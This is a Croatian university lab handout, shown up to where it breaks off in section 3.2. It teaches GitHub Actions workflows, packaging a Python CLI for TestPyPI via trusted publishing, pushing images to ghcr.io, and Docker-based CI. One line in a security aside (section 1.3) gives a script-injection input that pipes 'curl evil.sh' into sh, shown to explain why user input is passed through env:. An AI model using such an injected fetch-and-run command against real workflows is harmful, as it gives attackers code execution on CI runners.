# Vježbe (90 min): GitHub Actions za praktikum-llm

Vježbe imaju uvod i tri dijela. Svaki dio završava pull requestom u osobnom repozitoriju `praktikum-<github-korisnik>`.

| Dio | Grana | Što nastaje | PR na kraju |
|---|---|---|---|
| Uvod | `feature/actions-hello` | pregled datoteka u repozitoriju, Open WebUI `v0.13.3` | (isti PR kao dio 1) |
| 1. Anatomija workflowa | `feature/actions-hello` | `.github/workflows/hello.yml` | spojen u `main` (fast-forward) |
| 2. Python paket, TestPyPI i ghcr.io | `feature/pypi` | `pyproject.toml`, `.github/workflows/publish.yml` | spojen u `main`, paket na TestPyPI, slika na `ghcr.io` |
| 3. Python CI i Docker | `feature/ci` | `Dockerfile.test`, `.github/workflows/ci.yml`, ruleset za `main` | **otvoren**, sve provjere zelene, merge moguć tek uz zelen CI |

PR-ove iz dijelova 1 i 2 spajamo sami jer GitHub pokreće ručne (`workflow_dispatch`) workflowe samo ako je datoteka workflowa na zadanoj grani (`main`). Spajamo kao i dosad: fast-forward kad je moguće (`git merge` lokalno pa `git push`). PR iz dijela 3 je predaja i ostaje otvoren za pregled.

Gotova rješenja su u actions-lab/.

| Sadržaj | Okvirno |
|---|---|
| 0. Polazište i pregled svih datoteka u repozitoriju | 8 min |
| 0b. Open WebUI: pregled zadnjih slika i nadogradnja na `v0.13.3` | 7 min |
| 1. Anatomija GitHub Actions workflowa: hello world i kontekst | 20 min |
| 2. Najjednostavniji Python paket, objava na TestPyPI i slika na ghcr.io | 30 min |
| 3. Python CI, Docker build i testovi | 25 min |

**Priprema kod kuće:**

- račun na TestPyPI s potvrđenom e-poštom i uključenom dvofaktorskom autentikacijom (bez 2FA TestPyPI ne dopušta objavu),
- `docker pull ghcr.io/open-webui/open-webui:v0.13.3` (oko 1,5 GB),
- `gh auth status` javlja da ste prijavljeni, s opsegom `workflow` (ako ga nema: `gh auth refresh -s workflow`; bez njega `git push` datoteke u `.github/workflows/` preko HTTPS-a s tokenom iz `gh` bude odbijen).

---

## 0. Polazište i pregled svih datoteka u repozitoriju

Polazište je `main` u koji su spojeni PR-ovi iz tjedna 4. Ako nisu, spojiti ih sada (kao u tjednu 4, lokalno i fast-forward kad je moguće):

```
cd ~/praktikum-$(gh api user -q .login)
git checkout main
git pull
git merge feature/compose-ollama      # only if the week 4 PRs are not merged yet
git push
git checkout -b feature/actions-hello
```

Ako ste radili dodatni zadatak s Python paketom (`src/praktikum_llm`, tjedan 3), za ovaj tjedan ga zanemarite: polazište su moduli `llm.py` i `ollama_client.py` u korijenu repozitorija.

Popis svega što git prati:

```
git ls-files | sort
```

Zajedno prolazimo kroz svaku datoteku: čemu služi, tko je čita i hoće li je danas čitati GitHub Actions. Do kraja vježbi popis će narasti za datoteke označene s **novo**.

| Datoteka | Skupina | Čemu služi | Tko je čita | Danas u GitHub Actions |
|---|---|---|---|---|
| `.gitignore` | konfiguracija | što git ne prati | git | posredno: što nije u gitu, nema ni na runneru |
| `.dockerignore` | konfiguracija | što ne ulazi u build context | `docker build` | `ci.yml` |
| `.env.example` | konfiguracija | predložak varijabli okoline, bez tajni | ljudi | ne |
| `check_env.sh` | alati | provjera lokalnog okruženja (tjedan 1) | student | ne |
| `docker.txt`, `compose.txt`, `storage.txt` | dokazi | izlazi provjera iz ranijih predaja | nastavnik | ne |
| `pyproject.toml` | paket | **novo** (dio 2): ime, verzija, ovisnosti, naredba `llm` | `pip`, `build` | `publish.yml` |
| `requirements.txt` | ovisnosti | ovisnosti za izvođenje, točne verzije | `pip`, `Dockerfile` | `ci.yml`, **paket** (`pyproject.toml`) |

| Datoteka | Skupina | Čemu služi | Tko je čita | Danas u GitHub Actions |
|---|---|---|---|---|
| `requirements-dev.txt` | ovisnosti | `requirements.txt` + pytest | `pip`, `Dockerfile.test` | `ci.yml` |
| `version.txt` | izdanja | trenutna verzija | release-please, `llm --version` | sva tri workflowa |
| `CHANGELOG.md` | izdanja | popis promjena po verzijama | release-please, ljudi | release-please |
| `README.md` | dokumentacija | opis alata | ljudi, GitHub | **opis paketa na TestPyPI** |
| `Dockerfile` | kontejneri | slika alata `praktikum-llm` | `docker build`, Compose | `ci.yml` |
| `Dockerfile.test` | kontejneri | **novo ili iz tjedna 4** (dio 3): slika koja pokreće pytest | `docker build` | `ci.yml` |
| `compose.yaml` | kontejneri | Ollama, `ollama-pull`, Open WebUI, `llm` na mreži `backend` | `docker compose` | ne (lokalno) |

Dvije stvari koje iz tablice treba ponijeti u ostatak vježbi:

- **Runner vidi samo ono što je u gitu.** `.env`, `.venv/` i lokalne slike ne postoje na GitHubovom stroju. Sve što workflow treba mora biti u repozitoriju (ili u tajnama i varijablama na GitHubu).
- **`.env` nije u gitu i nikad neće biti.** Vrijednosti koje workflow treba (npr. token) idu u *Settings → Secrets and variables → Actions*, a ne u datoteku.

## 0b. Open WebUI: pregled zadnjih slika i nadogradnja na `v0.13.3`

Open WebUI nismo napisali mi, ali smo ga mi pustili u rad, pa je njegovo održavanje naš posao. U tjednu 4 koristili smo `v0.7.2`. Prvo provjeravamo što postoji:

```
gh release list -R open-webui/open-webui -L 5                       # latest
releases and dates
docker buildx imagetools inspect ghcr.io/open-webui/open-webui:v0.13.3   #
platforms and digest of the image
```

Na stranici Releases pročitati bilješke izdanja. Od `v0.7.2` do `v0.13.3` mnoga izdanja nose upozorenje **Database Migrations**: nova verzija pri prvom pokretanju mijenja shemu baze u volumenu `open-webui-data`, a povratak na staru verziju nakon toga nije podržan. Zato možemo sigurnosno kopirati volumen:

```
docker compose stop open-webui
docker run --rm -v praktikum_open-webui-data:/data:ro -v "$PWD":/backup
```

```
  alpine:3.24 \
    tar czf /backup/open-webui-v0.7.2.tgz -C /data .
  ls -lh open-webui-v0.7.2.tgz          # do NOT commit it: add it to
  .gitignore
  echo "*.tgz" >> .gitignore
```

No možemo i preskočiti sigurnosnu kopiju i ponovno pokrenuti `ollama-pull` servis.

U `compose.yaml` promijeniti tag:

```
    open-webui:
      image: ghcr.io/open-webui/open-webui:v0.13.3
```

```
  docker compose pull open-webui         # already downloaded at home: only
  checks the digest
  docker compose up -d open-webui
  docker compose logs -f open-webui      # migrations run on the first start;
  wait for "Uvicorn running"
  docker compose ps open-webui           # STATUS Up ... (healthy)
```

Otvoriti `http://localhost:3000` i provjeriti da su model i stari razgovori tu. Staru sliku obrisati: `docker image rm ghcr.io/open-webui/open-webui:v0.7.2`.

Zašto izričit tag (`v0.13.3`), a ne `latest` ili `main`? Isti `compose.yaml` mora sutra dati isti sustav; nadogradnja je svjesna odluka koja prolazi kroz PR, s bilješkama izdanja i sigurnosnom kopijom. Još strože je zapinjanje digesta (`image: ghcr.io/open-webui/open-webui:v0.13.3@sha256:...`), jer se tag može premjestiti, a digest ne. Alati poput Dependabota i Renovatea mogu sami otvarati PR-ove za nove verzije slika i akcija.

```
  git add compose.yaml .gitignore
  git commit -m "<type>: upgrade open-webui to v0.13.3"
```

Tip commita odabrati prema Conventional Commits: ovo je održavanje ovisnosti, nije nova mogućnost alata.

---

## 1. Anatomija GitHub Actions workflowa: hello world i kontekst

> 🎯 Ishod dijela 1
>
> U `main` osobnog repozitorija spojen je PR s grane `feature/actions-hello` koji sadrži nadogradnju Open WebUI-ja (0b) i workflow `.github/workflows/hello.yml` s dva joba (`hello` i `goodbye`).
>
> **Kriteriji prihvaćanja** (nastavnik ih provjerava na kartici *Actions* i u PR-u):
>
> 1. Workflow `hello` ima uspješna pokretanja za tri događaja: `push`, `pull_request` i `workflow_dispatch`.

> 2. Pokretanje `workflow_dispatch` ima vaš `greeting` (ne zadani `Hello`) u sažetku joba i u ispisu joba `goodbye`.
> 3. Job `goodbye` čita izlaz joba `hello` (`needs.hello.outputs.message`).
> 4. Poruka završnog commita i naslov PR-a slijede Conventional Commits i **ne povećavaju** verziju (promjena je u CI-u, ne u alatu).

### 1.1 Prvi workflow

Workflow je YAML datoteka u `.github/workflows/`. Napraviti `.github/workflows/hello.yml`:

```yaml
name: hello

on:
  push:
  pull_request:
  workflow_dispatch:
    inputs:
      greeting:
        description: "Word to greet with"
        type: string
        default: Hello
      show-context:
        description: "Print the whole github context"
        type: boolean
        default: false

permissions:
  contents: read

jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - name: Hello, world
        run: echo "Hello, world from job ${{ github.job }}"
```

| Ključ | Razina | Značenje |
|---|---|---|
| `name` | workflow | ime na kartici *Actions* |
| `on` | workflow | događaji koji pokreću workflow |
| `permissions` | workflow ili job | što smije `GITHUB_TOKEN` (ovdje samo čitanje repozitorija) |
| `jobs.<id>` | job | skup koraka koji se izvodi na **jednom** runneru |
| `runs-on` | job | na kojem runneru: `ubuntu-latest` je novi virtualni stroj koji GitHub ugasi nakon joba |
| `steps` | korak | naredbe (`run:`) ili gotove akcije (`uses:`), redom, na istom stroju |

```
git add .github/workflows/hello.yml
git commit -m "<type>: add hello workflow"
git push -u origin HEAD
gh run list --workflow hello.yml        # one run, event "push"
gh run watch                            # follow it live (or open the Actions
tab)
```

### 1.2 Kontekst, varijable okoline i prazan stroj

Ispod koraka `Hello, world` dodati:

```
      - name: Who, what, where
        run: |
          echo "event:      ${{ github.event_name }}"
          echo "repository: $GITHUB_REPOSITORY"
          echo "ref:        $GITHUB_REF  (sha ${GITHUB_SHA::7})"
          echo "actor:      $GITHUB_ACTOR"
          echo "runner:     $RUNNER_OS / $RUNNER_ARCH, $(nproc) CPUs"

      - name: An ephemeral machine starts empty
        run: |
          echo "workspace: $GITHUB_WORKSPACE"
          ls -la "$GITHUB_WORKSPACE"
          whoami; uname -r; df -h / | tail -1

      - name: Check out the repository
        uses: actions/checkout@v7

      - name: Now the code is here
        run: ls -la && cat version.txt

      - name: Print the github context
        if: github.event_name != 'workflow_dispatch' || inputs.show-context
        env:
          GITHUB_CONTEXT: ${{ toJson(github) }}
        run: echo "$GITHUB_CONTEXT"
```

Commit, push i u logu pogledati:

- `${{ github.event_name }}` je **izraz**: GitHub ga zamijeni vrijednošću prije nego što shell vidi naredbu. `$GITHUB_REPOSITORY` je **varijabla okoline** koju čita shell. Isti podatak, dva puta do njega.
- Prije `actions/checkout` direktorij `$GITHUB_WORKSPACE` je **prazan**. Runner je nov, prazan stroj (*ephemeral*): ništa od prošlog pokretanja nije tu, ni kod, ni `.venv`, ni slike.
- Ispis konteksta `github` je isti JSON kao u koraku `Dump GitHub context` u `release_please.yml` iz tjedna 1. Pronaći u njemu `event.head_commit.message`.

### 1.3 Izlaz koraka, izlaz joba i drugi job

U job `hello` (na razini `runs-on`) dodati `outputs`, a na kraj koraka dva nova koraka:

```
  hello:
    runs-on: ubuntu-latest
    outputs:
      message: ${{ steps.compose.outputs.message }}
    steps:
      # ... previous steps ...
      - name: Compose a message
        id: compose
        env:
          GREETING: ${{ inputs.greeting || 'Hello' }}
        run: echo "message=$GREETING from $GITHUB_ACTOR, version $(cat
version.txt)" >> "$GITHUB_OUTPUT"

      - name: Job summary
        run: |
          echo "### ${{ steps.compose.outputs.message }}" >>
"$GITHUB_STEP_SUMMARY"
          echo "Triggered by \`${{ github.event_name }}\` on \`${{
github.ref_name }}\`." >> "$GITHUB_STEP_SUMMARY"
```

i novi job na razini `hello`:

```
  goodbye:
    needs: hello
    runs-on: ubuntu-latest
    steps:
      - name: Read the output of the previous job
        env:
          MESSAGE: ${{ needs.hello.outputs.message }}
        run: |
          echo "hello said: $MESSAGE"
          ls -la "$GITHUB_WORKSPACE"
```

Tok podataka: korak piše `ime=vrijednost` u datoteku `$GITHUB_OUTPUT` → `steps.compose.outputs.message` → izlaz joba `outputs.message` → drugi job ga čita kao `needs.hello.outputs.message`. `goodbye` radi na **drugom** stroju: njegov `$GITHUB_WORKSPACE` je opet prazan. Jobovi ne dijele datotečni sustav; dijele samo izlaze (male tekstualne vrijednosti) i artefakte (datoteke, dio 2).

**Sigurnost:** unos korisnika (`inputs.greeting`) ide kroz `env:`, a ne izravno u skriptu kao `run: echo "${{ inputs.greeting }}"`. Izraz se umeće u skriptu prije izvođenja, pa bi unos `"; curl evil.sh | sh; echo "` postao dio naredbe (*script injection*). Isto vrijedi za naslove PR-ova, imena grana i poruke commita.

### 1.4 Pull request, spajanje i ručno pokretanje

```
git add .github/workflows/hello.yml
git commit -m "<type>: pass a message between jobs"
git push
```

```
gh pr create --base main --title "<type>: add hello workflow" --body "Week 5,
part 1."
gh pr checks --watch                    # hello / hello and hello / goodbye
for event pull_request
```

Na PR-u se workflow pokreće dvaput: za `push` na granu i za `pull_request` (na *merge commitu* PR-a, tj. kako bi `main` izgledao nakon spajanja).

Gumb *Run workflow* još ne postoji: `workflow_dispatch` radi samo za workflowe koji su na zadanoj grani. Spajamo (fast-forward, kao u tjednu 2):

```
git checkout main
git merge --ff-only feature/actions-hello
git push                                  # GitHub marks the PR as merged
gh workflow run hello.yml -f greeting=Bok -f show-context=false
gh run watch
```

U sažetku pokretanja (*Summary*) mora pisati `Bok from <vaš-login>, version ...`, a job `goodbye` ispisuje istu poruku.

Ako `git merge --ff-only` javi `Not possible to fast-forward`, netko je u međuvremenu promijenio `main` (najčešće release-please): `git merge feature/actions-hello` bez `--ff-only` napravi merge commit (dogovorena strategija tečaja), pa `git push`.

**Predaja dijela 1:** spojen PR s grane `feature/actions-hello`; nastavnik provjerava kriterije 1–4 na kartici *Actions* i u PR-u.

---

## 2. Najjednostavniji Python paket, objava na TestPyPI i slika na ghcr.io

> 🎯 Ishod dijela 2
>
> U `main` je spojen PR s grane `feature/pypi`. Ručno pokrenut workflow `publish` izgradio je paket `praktikum-llm-<github-korisnik>`, objavio ga na **TestPyPI** bez ijedne lozinke ili tokena u repozitoriju (trusted publishing, OIDC) i provjerio ga instalacijom. Isti workflow je izgradio Docker sliku alata i objavio je u **GitHub Container Registry** (`ghcr.io`) s `GITHUB_TOKEN`om.
>
> **Kriteriji prihvaćanja:**
>
> 1. `pyproject.toml` u korijenu repozitorija: modul `llm.py` i `ollama_client.py`, naredba `llm`, verzija iz `version.txt`, ovisnosti iz `requirements.txt`.
> 2. Na PR-u workflow `publish` pokreće samo job `build` (zelen), a `publish`, `image` i `verify` su preskočeni.
> 3. Pokretanje `workflow_dispatch` na `main`: `build`, `publish`, `image` i `verify` su zeleni; okruženje `testpypi` vodi na stranicu paketa na TestPyPI.
> 4. Slika `ghcr.io/unipu-pro/praktikum-<github-korisnik>` ima tagove s verzijom iz `version.txt` i `latest`, a `docker run --rm <slika>:<verzija> --version` ispisuje tu verziju.

> 5. U novom venvu: `pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ praktikum-llm-<github-korisnik>` pa `llm --version` ispisuje verziju iz `version.txt`.
> 6. Svi testovi prolaze lokalno (`python -m pytest`), uključujući novi test za verziju iz metapodataka paketa.
> 7. Poruka završnog commita i naslov PR-a slijede Conventional Commits i povećavaju **minor** verziju.

```
git checkout main && git pull
git checkout -b feature/pypi
```

### 2.1 Zašto paket i zašto ovako jednostavno

Do sada je alat živio u repozitoriju i u Docker slici. Paket je treći način isporuke: `pip install` na bilo kojem računalu s Pythonom daje naredbu `llm`, bez kloniranja repozitorija i bez Dockera.

Ovo je **najjednostavniji** oblik: dvije datoteke (`llm.py`, `ollama_client.py`) ostaju gdje jesu, u korijenu repozitorija, i postaju moduli najviše razine u paketu. Nema `src/` strukture ni preimenovanja; `Dockerfile` i testovi ostaju isti. Za veći projekt je bolja `src/` struktura s paketom (dodatni zadatak iz tjedna 3), ali danas nam nije potrebna.

| Pojam | Značenje kod nas |
|---|---|
| distribucija (ime na PyPI-ju) | `praktikum-llm-<github-korisnik>`; mora biti jedinstveno na cijelom (Test)PyPI-ju |
| modul (ime za `import`) | `llm`, `ollama_client` |
| naredba | `llm`, poziva `main()` iz `llm.py` |
| sdist | `.tar.gz` s izvornim kodom |
| wheel | `.whl`, gotov za instalaciju (zip s modulima i metapodacima) |

### 2.2 `pyproject.toml`

U korijen repozitorija (umjesto `<github-korisnik>` upisati svoj login, malim slovima):

```
[build-system]
requires = ["setuptools>=77"]
build-backend = "setuptools.build_meta"

[project]
name = "praktikum-llm-<github-korisnik>"
description = "Command line client for a local Ollama model (Praktikum:
Razvojne operacije)."
readme = "README.md"
requires-python = ">=3.10"
dynamic = ["version", "dependencies"]

[project.scripts]
```

```
llm = "llm:main"

[tool.setuptools]
py-modules = ["llm", "ollama_client"]

[tool.setuptools.dynamic]
version = { file = "version.txt" }
dependencies = { file = "requirements.txt" }
```

Verzija i ovisnosti su **dinamičke**: čitaju se iz `version.txt` (koji povećava release-please) i `requirements.txt` (koji koristi i `Dockerfile`). Jedan izvor istine, nema dvije verzije koje se razilaze. `README.md` postaje opis paketa na TestPyPI-ju; ako je prazan, dopisati dvije rečenice o alatu.

U `.gitignore` i `.dockerignore` dodati izlaze builda:

```
build/
dist/
*.egg-info/
```

### 2.3 Verzija nakon `pip install`

`read_version()` čita `version.txt` pokraj `llm.py`. U instaliranom wheelu te datoteke nema (u paket ulaze samo moduli), pa bi `llm --version` ispisao `0.0.0`. Verziju je wheel ipak zapisao u svoje metapodatke. U `llm.py` dodati import i zamijeniti `read_version()`:

```
from importlib import metadata
```

```
def read_version() -> str:
    """Returns the tool version.

    1. version.txt next to llm.py: a git checkout or a container image
(bumped by release-please).
    2. The metadata of the installed distribution: after `pip install` from
(Test)PyPI,
       version.txt is not next to the module, but the wheel recorded the
version.
    3. 0.0.0 when neither exists.
    """
    if VERSION_FILE.exists():
        return VERSION_FILE.read_text(encoding="utf-8").strip()
    distributions = metadata.packages_distributions().get("llm")   # e.g.
["praktikum-llm-<login>"]
    if distributions:
        return metadata.version(distributions[0])
    return "0.0.0"
```

U `tests/test_version.py` dosadašnji test `test_read_version_falls_back_when_file_is_missing` zamijeniti s dva testa:

```
def test_read_version_uses_package_metadata_when_file_is_missing(monkeypatch,
tmp_path):
    # After `pip install praktikum-llm-<login>` there is no version.txt next
to llm.py.
    monkeypatch.setattr(llm, "VERSION_FILE", tmp_path / "missing.txt")
    monkeypatch.setattr(llm.metadata, "packages_distributions", lambda:
{"llm": ["praktikum-llm-test"]})
    monkeypatch.setattr(llm.metadata, "version", lambda name: "9.9.9")

    assert llm.read_version() == "9.9.9"


def
test_read_version_falls_back_when_file_and_package_are_missing(monkeypatch,
tmp_path):
    monkeypatch.setattr(llm, "VERSION_FILE", tmp_path / "missing.txt")
    monkeypatch.setattr(llm.metadata, "packages_distributions", lambda: {})

    assert llm.read_version() == "0.0.0"
```

```
source .venv/bin/activate
python -m pytest -q                      # 8 passed
```

### 2.4 Build lokalno, prije CI-a

Ono što ne radi lokalno neće raditi ni na runneru, samo sporije:

```
pip install build twine
python -m build                          #
dist/praktikum_llm_<login>-1.1.0.tar.gz and ...-py3-none-any.whl
python -m twine check --strict dist/*    # PASSED: metadata and README render
on (Test)PyPI
unzip -l dist/*.whl                      # llm.py, ollama_client.py and
*.dist-info: no tests, no Dockerfile
python -m venv /tmp/try && /tmp/try/bin/pip install dist/*.whl
/tmp/try/bin/llm --version               # llm 1.1.0, read from the package
metadata
```

### 2.5 Trusted publishing: TestPyPI vjeruje GitHubu

Klasičan način objave je API token s TestPyPI-ja spremljen kao tajna u repozitoriju. Token je dugotrajan: tko ga dobije (curenje u logu, kompromitirana akcija), može objavljivati u vaše ime dok ga netko ne opozove.

**Trusted publishing** koristi OIDC: GitHub za svako pokretanje izda kratkotrajan potpisani identitet (*ovo je workflow `publish.yml` iz repozitorija X, okruženje `testpypi`*), a TestPyPI ga zamijeni za token za objavu

koji vrijedi nekoliko minuta. U repozitoriju nema nikakve tajne.

Na test.pypi.org → *Your account* → *Publishing* → *Add a new pending publisher* → *GitHub*:

| Polje | Vrijednost |
|---|---|
| PyPI Project Name | `praktikum-llm-<github-korisnik>` (isto kao `name` u `pyproject.toml`) |
| Owner | `unipu-pro` |
| Repository name | `praktikum-<github-korisnik>` |
| Workflow name | `publish.yml` |
| Environment name | `testpypi` |

*Pending* znači da projekt još ne postoji; nastaje pri prvoj objavi.

### 2.6 Workflow `publish.yml`

Napraviti `.github/workflows/publish.yml`:

```yaml
name: publish

on:
  pull_request:
    paths:
      - pyproject.toml
      - version.txt
      - requirements.txt
      - README.md
      - "*.py"
      - Dockerfile
      - .github/workflows/publish.yml
  workflow_dispatch:

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      name: ${{ steps.meta.outputs.name }}
      version: ${{ steps.meta.outputs.version }}
    steps:
      - uses: actions/checkout@v7

      - uses: actions/setup-python@v7
        with:
          python-version: "3.13"

      - name: Install the build tools
        run: python -m pip install build twine
```

```
      - name: Build the sdist and the wheel
        run: python -m build

      - name: Check the package metadata
        run: python -m twine check --strict dist/*

      - name: Read the package name and version
        id: meta
        run: |
          echo "name=$(python -c 'import tomllib;
print(tomllib.load(open("pyproject.toml", "rb"))["project"]["name"])')" >>
"$GITHUB_OUTPUT"
          echo "version=$(cat version.txt)" >> "$GITHUB_OUTPUT"

      - name: Keep dist/ for the next job
        uses: actions/upload-artifact@v7
        with:
          name: dist
          path: dist/
          retention-days: 7

  publish:
    needs: build
    if: github.event_name == 'workflow_dispatch'
    runs-on: ubuntu-latest
    environment:
      name: testpypi
      url: https://test.pypi.org/project/${{ needs.build.outputs.name }}/${{
needs.build.outputs.version }}/
    permissions:
      id-token: write
    steps:
      - name: Download dist/ from the build job
        uses: actions/download-artifact@v8
        with:
          name: dist
          path: dist/

      - name: Publish to TestPyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        with:
          repository-url: https://test.pypi.org/legacy/

  image:
    needs: build
    if: github.event_name == 'workflow_dispatch'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
    steps:
      - uses: actions/checkout@v7

      - uses: docker/setup-buildx-action@v4
```

```
      - name: Log in to ghcr.io
        uses: docker/login-action@v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Build and push the image
        uses: docker/build-push-action@v7
        with:
          context: .
          push: true
          tags: |
            ghcr.io/${{ github.repository }}:${{ needs.build.outputs.version
}}
            ghcr.io/${{ github.repository }}:latest

      - name: The pushed image works
        env:
          IMAGE: ghcr.io/${{ github.repository }}:${{
needs.build.outputs.version }}
          VERSION: ${{ needs.build.outputs.version }}
        run: |
          docker image rm "$IMAGE" 2>/dev/null || true
          docker pull "$IMAGE"
          test "$(docker run --rm "$IMAGE" --version)" = "llm $VERSION"

  verify:
    needs:
      - build
      - publish
    runs-on: ubuntu-latest
    steps:
      - uses: actions/setup-python@v7
        with:
          python-version: "3.13"

      - name: Install the published package from TestPyPI
        env:
          PACKAGE: ${{ needs.build.outputs.name }}==${{
needs.build.outputs.version }}
        run: |
          for attempt in 1 2 3 4 5 6; do
            pip install --index-url https://test.pypi.org/simple/ --extra-
index-url https://pypi.org/simple/ "$PACKAGE" && break
            echo "not visible yet, attempt $attempt"; sleep 15
          done
          pip show "${PACKAGE%%==*}"

      - name: The llm command works
        env:
          VERSION: ${{ needs.build.outputs.version }}
        run: |
```

```
            llm --version
            test "$(llm --version)" = "llm $VERSION"
```

Što je novo u odnosu na dio 1:

| Mjesto | Pojam |
|---|---|
| `uses: actions/setup-python@v7` + `with:` | gotova akcija s **ulazima** (`python-version`) |
| job `image`: `permissions: packages: write` + `docker/login-action` s `secrets.GITHUB_TOKEN` | **GITHUB_TOKEN** smije pisati u `ghcr.io` samo kad job to izričito traži; nema osobnog tokena ni tajne koju bismo sami spremili |
| `push: true` + dva taga (verzija i `latest`) | ista slika pod dva imena: verzija se nikad ne mijenja, `latest` pokazuje na zadnju objavu |
| `publish` i `image` imaju samo `needs: build` | oba joba rade **paralelno**, svaki na svom stroju; zajedno dijele samo izlaze joba `build` |
| `upload-artifact` → `download-artifact` | **artefakt**: `dist/` preživi gašenje stroja joba `build` i stigne na stroj joba `publish` |
| `if: github.event_name == 'workflow_dispatch'` | na PR-u se paket samo gradi, objavljuje se samo ručno |
| `environment: testpypi` | **okruženje**: na GitHubu nastaje samo; može imati zaštitu (npr. obavezno odobrenje) i vlastite tajne; `url` je poveznica na objavu |
| `permissions: id-token: write` | samo job `publish` smije tražiti OIDC token |
| `needs:` s `- build` i `- publish` + `needs.build.outputs.*` | `verify` čeka objavu, a ime i verziju čita iz izlaza joba `build` |
| petlja u `verify` | provjera nakon objave (*deploy verification*): instalira paket iz TestPyPI-ja, isto kao korisnik |

### 2.7 PR, spajanje i objava

```
git add pyproject.toml llm.py tests/test_version.py README.md .gitignore
.dockerignore .github/workflows/publish.yml
git status                                  # dist/, build/ and *.egg-info must
NOT be listed
git commit -m "<type>: package the CLI and publish it to TestPyPI"
git push -u origin HEAD
gh pr create --base main --title "<type>: package the CLI and publish it to
TestPyPI" --body "Week 5, part 2."
gh pr checks --watch                        # publish / build: pass; publish and
verify: skipped
```

Završni commit dodaje novu mogućnost (alat se može instalirati s `pip`), pa povećava **minor** verziju; prefiks pronađite u Conventional Commits.

```
git checkout main
git merge --ff-only feature/pypi && git push
gh workflow run publish.yml
gh run watch                                # build -> publish and image in
parallel -> verify
```

Na stranici pokretanja kliknuti poveznicu okruženja `testpypi`: vodi na vaš paket na TestPyPI-ju. Zatim provjera kao korisnik, na svom računalu:

```
python -m venv /tmp/from-testpypi
/tmp/from-testpypi/bin/pip install --index-url https://test.pypi.org/simple/
\
  --extra-index-url https://pypi.org/simple/ praktikum-llm-$(gh api user -q
.login)
/tmp/from-testpypi/bin/llm --version
OLLAMA_BASE_URL=http://localhost:11434 /tmp/from-testpypi/bin/llm status   #
Ollama on the host (week 2), if running
```

`--extra-index-url` je potreban jer na TestPyPI-ju nema (ispravnih) `requests` i `python-dotenv`; ovisnosti dolaze s pravog PyPI-ja.

Slika na `ghcr.io`: na stranici repozitorija desno *Packages* → `praktikum-<github-korisnik>`. Paket je vezan uz repozitorij i nasljeđuje njegova prava; u organizaciji je zadano **privatan**, pa ga lokalno povlačimo uz prijavu:

```
gh auth refresh -s read:packages                                  # once: gh
token may read packages
gh auth token | docker login ghcr.io -u "$(gh api user -q .login)" --
password-stdin
IMAGE=ghcr.io/unipu-pro/praktikum-$(gh api user -q .login)
docker run --rm "$IMAGE:$(cat version.txt)" --version             # llm
1.1.0
docker run --rm "$IMAGE:latest" --version
```

Ista slika iz registra bit će polazište za isporuku na poslužitelj (tema 7): poslužitelj samo povuče tag, ne gradi ništa.

**Predaja dijela 2:** spojen PR s grane `feature/pypi` i uspješno pokretanje `publish` (`workflow_dispatch`) na `main`: paket na TestPyPI-ju i slika na `ghcr.io`.

**Dodatno: novo izdanje.** Pokrenite `gh workflow run publish.yml` još jednom: `publish` pada s `400 File already exists`. Ista verzija se na (Test)PyPI ne može objaviti dvaput. Nakon spajanja release-please je otvorio release PR (`chore(main): release 1.2.0`). Spojite ga, `git pull` na `main` i ponovno pokrenite `publish`: na TestPyPI-ju se pojavljuje `1.2.0`, a na `ghcr.io` tag `1.2.0` (i `latest` sada pokazuje na njega). Slika, za razliku od paketa, *smije* ponovno dobiti isti tag, zato drugo pokretanje `image` ne pada; upravo zato je tag s verzijom obećanje koje čuvamo sami. To je cijeli lanac isporuke: commit → release PR → nova verzija u `version.txt` → objava.

## 3. Python CI, Docker build i testovi

> 🎯 Ishod dijela 3
>
> U osobnom repozitoriju je **otvoren** pull request s grane `feature/ci` koji sadrži `Dockerfile.test` i workflow `.github/workflows/ci.yml`. Na PR-u su zelene obje provjere: `test` i `docker`. Grana `main` je zaštićena: u nju se ulazi samo pull requestom, i to tek kad su `test` i `docker` zeleni.
>
> **Kriteriji prihvaćanja:**
>
> 1. `ci` se pokreće kad se pull request otvori (`opened`) i na svaki novi push u njegovu granu (`synchronize`).
> 2. Job `test` pokreće testove na Pythonu 3.13 i uploada artefakt `pytest-report` s JUnit izvještajem.
> 3. Job `docker` počinje tek kad je job `test` zelen, gradi sliku `praktikum-llm` akcijom `docker/build-push-action`, provjerava `--version` iz slike prema `version.txt` i pokreće testove u slici iz `Dockerfile.test`.
> 4. U povijesti PR-a postoji barem jedno **crveno** pokretanje (namjerno pokvaren test, korak 3.4) i nakon njega zeleno.
> 5. Poruka završnog commita i naslov PR-a slijede Conventional Commits i **ne povećavaju** verziju.
> 6. Na `main` je aktivan ruleset `protect-main`: obavezan pull request i obavezne provjere `test` i `docker`; izravan `git push` u `main` je odbijen (korak 3.5).
>
> **Predaja:** otvoren PR. Ne spajati ga sami; PR je predaja i ostaje otvoren za pregled.

```
git checkout main && git pull
git checkout -b feature/ci
```

### 3.1 `Dockerfile.test`

Ako ga nemate iz tjedna 4, napraviti `Dockerfile.test` u korijenu repozitorija:

```
# Simple, single-stage image that runs the unit tests when the container
STARTS.
FROM python:3.13-alpine

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app

COPY requirements.txt requirements-dev.txt ./
RUN pip install --no-cache-dir -r requirements-dev.txt

COPY version.txt ollama_client.py llm.py ./
COPY tests/ tests/

# The exit code of the container is the exit code of pytest: 0 = all passed,
```

```
1 = a test failed.
CMD ["python", "-m", "pytest", "-v"]
```

```
docker build -f Dockerfile.test -t praktikum-llm-tests .
docker run --rm praktikum-llm-tests; echo "exit code: $?"     # 8 passed,
exit code: 0
```

Lokalno to je isto što će CI raditi na runneru. Izlazni kod kontejnera je rezultat (tjedan 4); GitHub Actions korak s izlaznim kodom različitim od 0 je crven i zaustavlja job.

### 3.2 Job `test`: unit testovi na runneru

Napraviti `.github/workflows/ci.yml`:

```yaml
name: ci

on:
  pull_request:
    types:
      - opened                          # the PR is created
      - synchronize                     # a new commit is pushed to the PR
branch

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7

      - uses: actions/setup-python@v7
        with:
